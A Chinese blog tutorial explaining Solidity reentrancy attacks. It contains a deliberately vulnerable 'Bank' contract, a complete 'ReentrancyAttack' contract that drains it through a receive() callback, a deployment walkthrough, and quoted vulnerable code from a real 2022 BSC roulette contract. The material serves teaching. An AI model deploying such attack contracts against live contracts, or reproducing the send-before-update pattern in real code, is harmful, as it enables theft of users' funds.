• 什么是Web3合约重入攻击?
  • 发布于 2个月前
  • 200 热度
    0 评论
合约重入攻击概念
在以太坊中,智能合约能够调用其他外部合约的代码,由于智能合约可以调用外部合约或者发送以太币,这些操作需要合约提交外部的调用,所以这些合约外部的调用就可以被攻击者利用造成攻击劫持,使得被攻击合约在任意位置重新执行,绕过原代码中的限制条件,从而发生重入攻击。重入攻击本质上与编程里的递归调用类似,所以当合约将以太币发送到未知地址时就可能会发生。

漏洞原理概述
合约重入攻击是代码中对用户(attacker)的合约请求进行调用,没有进行二次验证,然后可以使attacker修改合约状态,改变账本.从而实现多重提币操作。

简例代码
对于A,B账户
withdraw(){
  check balance >0
  send Ether
  balance=0
}
fallback(){
  A.withdrwa()
}
 attack(){
  A.withdraw()
}
attack()调用A中withdraw() 进行检查 发送。A合约向B合约发送ETH时,出发B合约fallback()函数,那么重新调用取款方法。因为A合约中balance()函数并没有被执行,所以check balance依然成立,那么会继续send ETH。导致池子被攻击。

示例代码部署以及分析
pragma solidity ^0.8.12;
// 堆代码 duidaima.com
interface IBank {
    function deposit() external payable;
 
    function withdraw() external;
}
 
contract Bank {
    mapping(address => uint256) public balance;
    uint256 public totalDeposit;
 
    function ethBalance() external view returns (uint256) {
        return address(this).balance;
    }
 
    function deposit() external payable {
        balance[msg.sender] += msg.value;
        totalDeposit += msg.value;
    }
 
    function withdraw() external {
        require(balance[msg.sender] > 0, "Bank: no balance");
        msg.sender.call{value: balance[msg.sender]}("");
        totalDeposit -= balance[msg.sender];
        balance[msg.sender] = 0;
    }
}
 
contract ReentrancyAttack {
    IBank bank;
 
    constructor(address _bank) {
        bank = IBank(_bank);
    }
 
    function doDeposit() external payable {
        bank.deposit{value: msg.value}();
    }
 
    function doWithdraw() external {
        bank.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }
 
    receive() external payable {
        bank.withdraw();
    }
}
部署:
首先部署一个Bank合约

然后部署ReentrancyAttack合约,ReentrancyAttack合约地址需要填写Bank合约地址.因为Bank于ReentrancyAttack做交互

流程
用默认账户在Bank中存入11个ETH 。根据代码中Bank方法,我们可以使用ethBalance和totalDeposit查看流程中的ETH数量,可以看到两个的值都为:0:uint256: 11000000000000000000默认账户的balance的ETH的数量也为11。然后在ReentrancyAttack合约中doDeposit 1个ETH.会发现ethBalance和totalDeposit中账户ETH数量变为了12。这样对A(Bank)B(ReentrancyAttack)账户就完成了,符合代码条件。

接下来就可以进行重入攻击:

根据代码:
function doWithdraw() external {
        bank.withdraw();
        payable(msg.sender).transfer(address(this).balance);
     }
可以调用Bank的withdraw函数,进行攻击,会发现Bank的账户变为10ETH,但是ethBalance的值已经变为0了。
去查看B(ReentrancyAttack)账户的ETH也为0。
但是此时默认账户的balance确还是11。
这样就可以发现ReentrancyAttack合约对Bank进行攻击提走了所有ETH。

简例代码原理
对Bank代码
contract Bank {
    mapping(address => uint256) public balance;  //记录账户余额
    uint256 public totalDeposit;   //记录所有用户在Bank合约存入余额
 
    function ethBalance() external view returns (uint256) {
        return address(this).balance;   //返回Bank合约真实余额
    }
 
    function deposit() external payable {
        balance[msg.sender] += msg.value;   //用来让用户存入ETH
        totalDeposit += msg.value;
    }
 
    function withdraw() external {      //让用户来提现余额
        require(balance[msg.sender] > 0, "Bank: no balance");
        msg.sender.call{value: balance[msg.sender]}("");
        totalDeposit -= balance[msg.sender];
        balance[msg.sender] = 0;
    }
}
对于ReentrancyAttack
contract ReentrancyAttack {
    IBank bank;  //记录地址
 
    constructor(address _bank) {
        bank = IBank(_bank);    //为Bank赋值
    }
 
    function doDeposit() external payable {
        bank.deposit{value: msg.value}();    //向Bank存入ETH
    }
 
    function doWithdraw() external {  //从Bank中提现ETH
        bank.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }
 
    receive() external payable {
        bank.withdraw();
    }
}
B主要攻击A代码为
function doWithdraw() external {  //从Bank中提现ETH
        bank.withdraw(); 
        payable(msg.sender).transfer(address(this).balance);
    }
从Bank向ReentrancyAttack转账时触发withdraw()再次提现实现
payable(msg.sender).transfer(address(this).balance);
从而继续:msg.sender.call{value: balance[msg.sender]}("");

而A中withdraw()
require(balance[msg.sender] > 0, "Bank: no balance");
会触发B中receive(),再次调用Bank合约中withddraw()方法。
balance()方法查看 ReentrancyAttack合约地址创建者,发现合约创建者balance为1ETH,但是合约里已经没有 Ether 可以提供兑付。
由此因为并没有改变A中balance的状态,从而会继续由A向B执行转账ETH交易,然后会再次触发ReentrancyAttack中receive()继续执行循环,直到账户中ETH数量为0。

从而上述流程实现了重入攻击。

历史漏洞攻击实例
2022年10月1号,在ERC721发送重入攻击。
问题在 claimReward(). 攻击者可透过重入漏洞来把合约上的资产取走。

发生漏洞的程式片段:
THB_Roulette | Address 0x72e901f1bb2bfa2339326dfb90c5cec911e2ba3c | BscScan

function claimReward( 
        uint256 _ID,
        address payable _player,
        uint256 _amount,
        bool _rewardStatus,
        uint256 _x,
        string memory name,
        address _add
    ) external {
        require(gameMode);
        bool checkValidity = guess(_x, name, _add);
 
        if (checkValidity == true) {
            if (winners[_ID][_player] == _amount) {
                _player.transfer(_amount * 2);
                if (_rewardStatus == true) {
                    sendReward();
                }
                delete winners[_ID][_player];
            } else {
                if (_rewardStatus == true) {
                    sendRewardDys();
                }
            }
            rewardStatus = false;
        }
    }
House_Wallet | Address 0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53 | BscScan

function reward(address to,uint256 _mintAmount) external {
        uint256 supply = totalSupply();
        uint256 rewardSupply = rewardTotal;
        require(rewardSupply <= rewardSize,"");
        for (uint256 i = 1; i <= _mintAmount; i++) {          
          _safeMint(to, supply + i); 
          rewardTotal++;         
        }
  }
/**
     * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
     * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
     */
    function _safeMint( 
        address to,
        uint256 tokenId,
        bytes memory data
    ) internal virtual {
        _mint(to, tokenId);
        require(
            _checkOnERC721Received(address(0), to, tokenId, data), **//callback** 
            "ERC721: transfer to non ERC721Receiver implementer"
        );
    }

用户评论